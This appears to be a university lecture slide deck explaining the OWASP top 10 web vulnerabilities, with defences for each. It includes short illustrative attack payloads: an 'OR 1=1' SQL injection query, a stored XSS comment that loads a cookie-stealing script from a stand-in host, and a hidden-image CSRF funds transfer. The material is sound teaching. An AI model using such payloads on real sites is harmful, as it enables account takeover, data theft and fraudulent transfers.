Web Security Vulnerabilities

and Best practices

Dr. C. V. Guru Rao

Dean, School of Computer
Science and Engineering & AI
SR University
Warangal Urban
Telangana – 506 001
 Outline
• Introduction
• Security Aspects of Web and Applications
• Open Web Application Security Project (OWASP)
• OWASP top 10 vulnerabilities and best practices
1. SQL Injection
2. Broken Authentication and Session Management (XSS)
3. Cross Site Scripting (XSS)
4. Broken access Control
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross Site Request Forgery (CSRF)

9. Using Components with Known Vulnerabilities

10. Under protected APIs

• Q&A
 Web security
 It basically means protecting a website or web application by detecting, preventing and
responding to cyber threats.

§ Websites and web applications are just as prone to security breaches at physical homes,
stores, and government locations

§ Great web security measures are needed to protect websites and web applications from
becoming compromised as cybercrime happens every day.

§ Web security is also known as “Cybersecurity”.

 Website security is any action or application taken to ensure website data is not
exposed to cybercriminals or to prevent exploitation of websites in any way.
 Website security protects your website from:
q DDoS attacks: These attacks can slow or crash your site entirely, making it
inaccessible to visitors.

q Malware: Short for “malicious software,” malware is a very common threat used to
steal sensitive customer data, distribute spam, allow cybercriminals to access your
site, and more.

q Blacklisting. Your site may be removed from search engine results and flagged with
a warning that turns visitors away if search engines find malware.

q Vulnerability exploits. Cybercriminals can access a site and data stored on it by

exploiting weak areas in a site, like an outdated plug-in.

q Defacement. This attack replaces your website’s content with a cybercriminal’s

malicious content.
 Website security protects your visitors from:
q Stolen data: From email addresses to payment information, cybercriminals frequently
go after visitor or customer data stored on a site.

q Phishing schemes: Phishing doesn’t just happen in email – some attacks take the
form of web pages that look legitimate but are designed to trick the user into providing
sensitive information.

q Session hijacking: Some cyber attacks can take over a user’s session and force
them to take unwanted actions on a site.

q Malicious redirects: Certain attacks can redirect visitors from the site they intended to
visit to a malicious website.

q SEO Spam: Unusual links, pages, and comments can be put on a site to confuse your
visitors and drive traffic to malicious websites.
 Securing Website
v An SSL certificate: SSL certificates protect the data collected by your website, like emails and
credit card numbers, as it is transferred from your site to a server.

v SSL only protects data in transit, so you’ll need to take further steps for a fully secure website.

v A web application firewall (WAF) :A WAF stops automated attacks that commonly target small or
lesser-known websites. These attacks are carried out by malicious bots that automatically look
for vulnerabilities they can exploit, or cause DDoS attacks that slow or crash your website.

v A website scanner :A website scanner looks for malware, vulnerabilities and other security
issues so that you can mitigate them appropriately. SiteLock’s scanners not only remove known
malware, they also look for threats on a daily basis and let you know the moment anything is found,
reducing the amount of damage it can do to your site.

v Software updates :vulnerabilities and security issues often found in third-party plugins and
applications. These can be prevented by installing updates to plugins and core software in a timely
manner, as these updates often contain security patches – you can even use an automatic patching
solution to make it easier.
 Web Application Security
Ø The global nature of the Internet exposes web properties to attack from different
locations and various levels of scale and complexity.
Ø There are a lot of factors that go into web security and web protection. Any website
or application that is secure is surely backed by different types of checkpoints and
techniques for keeping it safe.
Ø Web application security deals specifically with the security surrounding websites,
web applications and web services such as APIs
Ø There are a variety of security standards that must be followed at all times, and
these standards are implemented and highlighted by the OWASP
Ø Most experienced web developers from top cyber security companies will follow
the standards of the OWASP
Ø Web application security is a central component of any web-based business.
 Essential Steps to Protect Web Apps from Attacks

v Up-to-date encryption
v Setting proper authentication
v Continuously patching discovered vulnerabilities
v Secure Software Development Process to avoid data theft
v Do not provide scope of flaws in environment to clever attackers.
 Open Web Application Security Project (OWASP)
Ø Website: https://www.owasp.org
• Non profit organization
• open community
• Vulnerabilities
• Threats
• Attacks and countermeasures
• Development guide
• Testing guide
• Code review guide
• Webgoat sample web application
• Mailing lists
• Newsletter
• Many more…
 Top 10 Vulnerabilities
1. SQL Injection
2. Broken Authentication and Session Management
3. Cross Site Scripting (XSS)
4. Broken access Control
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross Site Request Forgery (CSRF)

9. Using Components with Known Vulnerabilities

10. Under protected APIs

 1. SQL Injection
A code injection happens when an attacker sends invalid data to the web application
with the intention to make it do something that the application was not
designed/programmed to do.

•Example: SQL query by attacker to consume untrusted data: “SELECT

ItemName, ItemDescription FROM Items WHERE ItemNumber = 999 OR 1=1”

Ø The statement 1 = 1 in the query is always true. It passes the access and
returns all of the product names and descriptions in the database to the attacker.

•The core of a code injection vulnerability is the lack of validation and sanitization of
the data used by the web application, which means that this vulnerability can be
present on almost any type of technology.
 Types of SQL Injection (SQLi)
In-band SQLi (Classic SQLi)
 In-band SQL Injection is the most common and easy-to-exploit of SQL Injection
attacks. In-band SQL Injection occurs when an attacker is able to use the same
communication channel to both launch the attack and gather results.
Inferential SQLi (Blind SQLi)
 Inferential SQL Injection, unlike in-band SQLi, may take longer for an attacker to
exploit, however, it is just as dangerous as any other form of SQL Injection. In
an inferential SQLi attack, no data is actually transferred via the web application
and the attacker would not be able to see the result of an attack in-band
(commonly also referred to as “blind SQL Injection attacks”). Instead, an
attacker is able to reconstruct the database structure by sending payloads,
observing the web application’s response and the resulting behavior of the
database server.
Out-of-band SQLi
 Out-of-band SQL Injection is not very common, mostly because it depends on
features being enabled on the database server being used by the web
application. Out-of-band SQL Injection occurs when an attacker is unable to
use the same channel to launch the attack and gather results.
 Preventing Injection
• Avoid dynamic queries
• Parameterized queries
• PreparedStatement, SQLCommand, PHP Data Object (PDO)

• Stored procedures
• Input validation
• Carefully escape special characters if no api is available
• OWASP Enterprise Security API
• ESAPI.encoder().encodeForSQL(new OracleCodec(), queryparam);

• Use code analysis tools

 2.Broken Authentication and Session Management
• A broken authentication vulnerability can allow an attacker to use manual and/or
automatic methods to try to gain control over any account they want in a system – or
even worse – to gain complete control over the system.
• Session management refers to the process of securely handling multiple requests to
a web-based application or service from a single user or entity. Websites and browsers
use HTTP to communicate, and a session is a series of HTTP requests and
transactions initiated by the same user.
• Custom authentication, Session management with flaws
• Credentials not protected with hashing
• Insider attacks

• Credentials can be guessed

• Session id exposed in the url->session fixation
• Session id won’t timeout
• Session ids are not rotated on success logins
 Examples
 Example #1: URL rewriting: “A travel reservations application supports URL rewriting,
putting session IDs in the URL”
 http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=
Hawaii
 Risk: An authenticated user of the site wants to let their friends know about the sale.
The user e-mails the link above without realizing they are also giving away their
session ID. When the friends use the link they use the user’s session and credit card.
 Example #2 : Predictable login credentials
 Username and Password values that are easy to guess or that are used frequently
can be guessed by attackers to obtain unauthorized access.
 Risk: Force users to use a strong password policy.
 Prevent Session Management
 Credentials should be protected: User authentication credentials should be
protected when stored using hashing or encryption.
 Do not expose session ID in the URL: Session IDs should not be exposed in
the URL (e.g., URL rewriting).
 Session IDs should timeout: User sessions or authentication tokens should be
properly invalidated during logout.
 Recreate session IDs: Session IDs should be recreated after successful login.
 Do not send credentials over unencrypted connections: Passwords, session IDs,
and other credentials should not be sent over unencrypted connections.
 Prevent Broken Authentication
 Password length: Minimum password length should be at least eight (8)
characters long. Combining this length with complexity makes a password difficult
to guess using a brute force attack.
 Password complexity: Passwords should be a combination of alphanumeric
characters. Alphanumeric characters consist of letters, numbers, punctuation
marks, mathematical and other conventional symbols.
 Username/Password Enumeration: Authentication failure responses should not
indicate which part of the authentication data was incorrect. For example, instead
of "Invalid username" or "Invalid password", just use "Invalid username and/or
password" for both. Error responses must be truly identical in both display and
source code.
 Protection against brute force login: Enforce account disabling after an
established number of invalid login attempts (e.g., five attempts is common). The
account must be disabled for a period of time sufficient to discourage brute force
guessing of credentials, but not so long as to allow for a denial-of-service attack
to be performed.
 3. Cross Site scripting (XSS)
•XSS is a widespread vulnerability that affects many web applications. XSS attacks
consist of injecting malicious client-side scripts into a website and using the website
as a propagation method.
• Example: The attacker adds a comment “Great price for a great item!
Read my review here <scriXpt src="http://hackersite.com/authstealer.js">
</script>”.
•Risk: XSS is that it allows an attacker to inject content into a website and modify
how it is displayed, forcing a victim’s browser to execute the code provided by the
attacker while loading the page.
•From this point on, every time the page is accessed, the HTML tag in the comment
will activate a JavaScript file, which is hosted on another site, and has the ability to
steal visitors’ session cookies
•Using the session cookie, the attacker can compromise the visitor’s account,
granting him easy access to his personal information and credit card data
 Types of XSS attacks

 Reflected XSS: where the malicious script comes from the current HTTP
request.
 Stored XSS: where the malicious script comes from the website's database.
 DOM-based XSS: where the vulnerability exists in client-side code rather than
server-side code.
 Prevent XSS attacks
 Preventing cross-site scripting is trivial in some cases but can be much harder
depending on the complexity of the application and the ways it handles user-
controllable data.
 In general, effectively preventing XSS vulnerabilities is likely to involve a combination
of the following measures:
 Filter input on arrival: At the point where user input is received, filter as strictly as
possible based on what is expected or valid input.
 Encode data on output: At the point where user-controllable data is output in HTTP
responses, encode the output to prevent it from being interpreted as active content.
Depending on the output context, this might require applying combinations of HTML,
URL, JavaScript, and CSS encoding.
 Use appropriate response headers: To prevent XSS in HTTP responses that aren't
intended to contain any HTML or JavaScript, you can use the Content-Type and X-
Content-Type-Options headers to ensure that browsers interpret the responses in the
way you intend.
 Content Security Policy: As a last line of defense, you can use Content Security
Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.
 4. Broken access Control
Broken access control vulnerabilities exist when a user can in
fact access some resource or perform some action that they are not supposed
to be able to access.

When access control is broken, users could send unauthorized requests to

your applications. Unauthorized access to system functionality and resources
creates an exploitable weakness that opens your company to harmful and
potentially expensive outcomes
• Unprivileged function access
• http://example.com/app/getappInfo
• http://example.com/app/admin_getappInfo

• Unauthorized data access

• htttp://soomebank.com/showacct?id=101
• http://soomebank.com/showacct?id=102
 Common access control vulnerabilities

1. Bypassing access control checks by modifying the URL

2. Internal application state, or the HTML page, or simply using a custom API attack
tool.
3. Allowing the primary key to be changed to another's users record, permitting
viewing or editing someone else's account
 Prevent Broken Access Control
 Access control is only effective if enforced in trusted server-side code or server-less API,
where the attacker cannot modify the access control check or metadata.
• Deny access to functionality by default.
• Use Access control lists and role-based authentication mechanisms.
• Do not just hide functions.
• Access control matrix
• Check access
• Do not assume that users will be unaware of special or hidden URLs or APIs.
• Penetration tests
• Regular audits, code reviews, Automated verification
• Principle of lease privilege
• Principle of defense in depth
• https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
• https://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
 5. Security misconfiguration
• Security Misconfiguration is simply defined as failing to implement all
the security controls for a server or web application, or implementing
the security controls can happen at any level
• Unpatched flaws
• Default configurations
• Unused pages
• Unprotected files and directories
• Unnecessary services
• Out of date software
• Unnecessary ports, services
• Error message throws stack trace?
 Misconfigurations can happen at any level of an
application stack, including:
• Network services
• Platform
• Web server
• Application server
• Database
• Frameworks
• Custom code
• Pre-installed virtual machines
• Containers
• Storage
Prevention
• Frequent audits
• Deployment process
• Automate configuration validity
 6. Sensitive data exposure
• Sensitive data exposure is one of the most widespread vulnerabilities on the
OWASP list. It consists of compromising data that should have been protected.
• Examples of Sensitive Data
• Credentials
• Credit card numbers
• Social Security Numbers
• Medical information
• Personally identifiable information (PII)
• Other personal information
• Passwords ,credit card numbers etc (transit or rest)
• Not encrypting sensitive data
• Use weak keys and algorithms to encrypt
• SSL not enabled in the entire path
 Prevention Data Exposure
• Classify data processed, stored, or transmitted by an application.
• Identify which data is sensitive according to privacy laws, regulatory requirements, or business
needs.
• Apply controls as per the classification.
• Don’t store sensitive data unnecessarily.
• Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data
that is not retained cannot be stolen.
• Make sure to encrypt all sensitive data at rest.
• Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper
key management.
• Encrypt all data in transit with secure protocols such as TLS with perfect forward secrecy (PFS)
ciphers, cipher prioritization by the server, and secure parameters.
• Enforce encryption using directives like HTTP Strict Transport Security (HSTS).
• Disable caching for responses that contain sensitive data.

• Store passwords using strong adaptive and salted hashing functions with a work
factor (delay factor), such as Argon2, scrypt, bcrypt, or PBKDF2.

• Verify independently the effectiveness of configuration and settings.

• Prevention measures
• Encrypt sensitive data accurately
• AES-256
• Key encrypting key
• Hardware security modules
• RSA 2048
• Disable caching and auto completion
 7.Insufficient Attack Protection
• The application provides insufficient attack protection. Attackers can probe
and attack the application without limits in order to find and exploit vulnerabilities
• Without an effective way to detect and defend against manual and automated attacks,
the application has an increased likelihood of being exploited.
Ø Example #1: Usage of attack tools: Attacker uses automated tool like
OWASP ZAP or SQLMap to detect vulnerabilities and possibly exploit them.
Attack detection should recognize the application is being targeted with
unusual requests and high volume. Automated scans should be easy to
distinguish from normal traffic.
Ø Example #2: Manual Attack Crafting: A skilled human attacker carefully
probes for potential vulnerabilities, eventually finding an obscure flaw.While
more difficult to detect, this attack still involves requests that a normal user
would never send, such as input not allowed by the UI
 Prevent Insufficient Attack Protection
 Detect Attacks: Did something occur that is impossible for legitimate users to cause
(e.g., an input a legitimate client can’t generate)? Is the application being used in a
way that an ordinary user would never do (e.g., tempo too high, atypical input,
unusual usage patterns, repeated requests)?
 Respond to Attacks: Logs and notifications are critical to timely response. Decide
whether to automatically block requests, IP addresses, or IP ranges. Consider
disabling or monitoring misbehaving user accounts.
 Patch Quickly: If your dev process can’t push out critical patches in a day, deploy a
virtual patch that analyzes HTTP traffic, data flow, and/or code execution and
prevents vulnerabilities from being exploited.
Other items to consider to use include:
• Networks firewalls
• Load balancers
• Anti-DDoS systems
• Intrusion Detection System (IDS) and Intrusion Prevention System (IPS)
• Data Loss Prevention
 8.Cross Site Request Forgery

• Cross-Site Request Forgery (CSRF) is an attack that forces an end user to

execute unwanted actions on a web application in which they’re currently
authenticated.

• With a little help of social engineering (such as sending a link via email or chat),
an attacker may trick the users of a web application into executing actions of the
attacker’s choosing.

• If the victim is a normal user, a successful CSRF attack can force the user to
perform state changing requests like transferring funds, changing their email
address, and so forth.

• If the victim is an administrative account, CSRF can compromise the entire web
application.
 Example

• Attacker trick the victim with urls

• Execute unwanted actions
• Compromise the entire application
• http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
• Attacker emails below url to the victim

• <img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“ width="0" height="0"
/>
 Prevent CSRF
• Include unique token in hidden field
• Verify the token on each request
• CSRFGuard
• Reauthenticate
 9.Using Components With Known Vulnerabilities
• Known Security Vulnerabilities are those gaps in security that have been identified, either
by the developer/vendor of the products used, by the user/developer, or by the
hacker/intruder.

• To exploit known security vulnerabilities, hackers identify a weak component in the system
by scanning the system using automated tools (more common because these hacking
tools are available online) or by analyzing the components manually (less common,
because it takes more advanced skills).

• Attackers run automated scripts to probe web apps for known vulnerabilities and then
exploit the weaknesses discovered. A vast majority of attackers are not going to invest the
time and effort to design a custom exploit to break into your systems
 Likely Vulnernable

§ If you do not know the versions of all components you use (both client-side and server-side).
This includes components you directly use as well as nested dependencies.
§ If software is vulnerable, unsupported, or out of date. This includes the OS, web/application
server, database management system (DBMS), applications, APIs and all components,
runtime environments, and libraries.
§ If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the
components you use.
§ If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-
based, timely fashion. This commonly happens in environments when patching is a monthly
or quarterly task under change control, which leaves organizations open to many days or
months of unnecessary exposure to fixed vulnerabilities.
§ If software developers do not test the compatibility of updated, upgraded, or patched libraries.
§ If you do not secure the components’ configurations
 Examples

 Somehow, an attacker found out my bank’s website uses Apache web server
version 1.3.22 on Win32. This version has a critical vulnerability that allows
remote attackers to execute arbitrary commands. As, on Windows, the web
server runs with SYSTEM privileges, this vulnerability can be exploited by the
attacker to do what he wants (steal information, stop services…) on that server.

 The attacker first stops the local firewall that blocks outbound connections from
the webserver to the Internet. Then he can download a network traffic monitoring
tool, install it and start it to intercept all traffic behind the Apache web server
(after SSL termination). All login requests are intercepted and relevant
information (obviously, login and passcode) is extracted and uploaded to its
server using a simple Batch script.
 Attack Scenarios

 Scenario #1: Components typically run with the same privileges as the
application itself, so flaws in any component can result in serious impact. Such
flaws can be accidental (e.g. coding error) or intentional (e.g. backdoor in
component).

 Scenario #2 Probably, the most famous manifestation of this issue would be

the Equifax breach. In fact, the entry point was a vulnerable version of
Struts, CVE-2017-5638, to gain remote code execution and pivot inside the
Equifax network and steal more than 140M customers’ personal information.

 Scenario #3 While internet of things (IoT) are frequently difficult or impossible to

patch, the importance of patching them can be great (e.g. biomedical devices).
There are automated tools to help attackers find unpatched or misconfigured
systems. For example, the Shodan IoT search engine can help you find devices
that still suffer from Heartbleed vulnerability that was patched in April 2014.
Prevent Using components with known vulnerabilities

• Remove unused dependencies, unnecessary features, components, files, and

documentation.

• Continuously inventory the versions of both client-side and server-side

components (e.g. frameworks, libraries) and their dependencies using tools
like versions, Dependency Check, retire.js, etc.

• Only obtain components from official sources over secure links. Prefer signed
packages to reduce the chance of including a modified, malicious component.

• Monitor for libraries and components that are unmaintained or do not create
security patches for older versions.
 10. Under protected APIs

• Modern applications generally encompass applications client and APIs, such as

JavaScript in the browser and mobile applications, which connect to an API of some kind
(SOAP / XML, JSON / REST, RPC, GWT, etc.). These APIs are often unprotected and
contain numerous vulnerabilities.
• REST, J SON and XML APIs
• Mobile app connecting to remote API(Username, password and accountnum)
• Public SMS JSON API->SQL injection
• XML XXE
• External entity is processed by XML parser
• The testing needs to encompass all of the common types of vulnerabilities like:
• Injection attacks
• Authentication issues
• Access control issues
• Encryption issues
• Misconfiguration of settings
 Prevent Under protected APIs

• Secured communications between the client and your APIs.

• Strong authentication scheme for your APIs,
• Parser configuration is hardened against attack.
• Protect against injection of all forms
• All the APIs used to build an application need to be tested for vulnerabilities just like
all other components used to deliver web-based applications.
 OWASP Testing Tools
• The OWASP Application Security Verification Standard (ASVS) Project
• Test, web application technical security controls
• Requirements for secure development.
• Procurement
• https://www.owasp.org/index.php/Category:OWASP_Application_Security
_
• Verification Standard Project

• OWASP live CD project

• Best open source security tools into a single bootable environment
• Boot from this Live CD or run VM
• Access to a full security testing suite
• No configuration required

• OWASP ZAP
• https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools
 General Security Testing tools
• Iron Wasp(https://ironwasp.org/)
• Over 25 kinds of web vulnerabilities
• Wireshark(https://www.wireshark.org/)
• Network packet analyzer.
• Google Nogotofail( https://github.com/google/nogotofail)
• Known TLS/SSL vulnerabilities and misconfigurations.
• SQlMap( http://sqlmap.org/)
• Sql Injection
• Qualys(https://www.qualys.com)
 Security code review
• Fastest and accurate
• Data Validation
• Authentication
• Session management
• Authorization
• Cryptography
• Error handling
• Logging
• Security Configuration
• Network Architecture

• Tools
• Code crawler
• Orizon
• O2
• FindSecurityBugs
 Conclusion
 We depend on information and information technology (IT) to make many of our day-to-day tasks
easier and more convenient.

 Cybersecurity is vital to protecting all of these day-to-day tasks.

 Cyberspace is vulnerable to a broad spectrum of hackers, criminals, terrorists, and state actors.

 Working in cyberspace, these malevolent actors can steal money, intellectual property, or classified
information; impersonate law-abiding parties for their own purposes; damage important data; or
deny the availability of normally accessible services.

 Cybersecurity issues arise because of three factors taken together - the presence of malevolent
actors in cyberspace, societal reliance on IT for many important functions, and the presence of
vulnerabilities in IT systems.

 This presentation considered broad steps make security policies to protect our government,
businesses, and the public by overcoming web application vulnerabilities.
 References
1. https://www.owasp.org/index.php/OWASP_AppSensor_Project

2. https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications

3. https://www.owasp.org/index.php/Credential_Stuffing_Prevention_Cheat_ Sheet

4. https://www.owasp.org/index.php/Virtual_Patching_Cheat_Sheet

5. https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project

6. https://www.owasp.org/index.php/Intrusion_Detection
7. https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet
8. https://www.owasp.org/index.php/Password _Storage_Cheat_Sheet
9. https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
10. https://www.owasp.org/index.php/Testing_for_SSL-TLS
11. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
12. http://lists.owasp.org/pipermail/owasp-csrfguard
Q&A @[email protected]

Thank You
Tools and Technologies for testing, building and preventing
threats

Ø Black box testing tools

Ø Fuzzing tools
Ø White box testing tools
Ø Web application firewalls (WAF)
Ø Security or vulnerability scanners
Ø Password cracking tools